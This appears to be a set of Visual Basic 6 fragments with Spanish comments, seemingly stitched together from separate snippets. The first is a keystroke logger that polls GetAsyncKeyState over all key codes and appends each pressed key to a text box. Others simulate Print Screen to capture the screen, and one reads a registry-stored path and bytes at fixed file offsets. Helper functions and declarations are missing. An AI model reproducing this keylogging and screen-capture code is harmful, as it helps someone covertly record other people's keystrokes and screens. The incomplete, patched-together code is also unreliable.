Private Sub Timer1_Timer() 'probar con distintos intervalos de timer
Dim Tecla As String
For x% = 0 To 255 'para los 255 códigos ascii
If GetAsyncKeyState(x%) Then 'si se ha pulsado una tecla
Tecla = ObtenerTecla(x%) 'obtener tecla pulsada
Text1 = Text1 & Tecla 'añadir tecla a teclas pulsadas
Text1.Refresh
End If
Next
End Sub

Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte,
ByVal bScan As Byte, ByVal dwFlags As Long,
ByVal dwExtraInfo As Long)

Private Sub Command1_Click()
'Captura la ventana activa
keybd_event 44, 0, 0&, 0&
End Sub

Private Sub Command2_Click()
'Captura toda la pantalla
keybd_event 44, 1, 0&, 0&
End Sub

 
Private Sub cmd1_Click()
Dim tt As String
Dim bu
Set bu = CreateObject("Wscript.shell")
tt = bu.regread("HKEY_CURRENT_USER\Software\Microsoft\Tdf\dir")
On Error GoTo Fallo2
Open tt & 1 For Input As #5
Close #5
Open tt & 1 For Binary As #7
Get #7, 740, dato37
Get #7, 20, dato2
Close #7
l1.Caption = dato37
l2.Caption = dato2
Exit Sub
Fallo2: cmd1.Caption = "&Buscar"
Fallo: cmd1.Caption = "&Buscar"
End Sub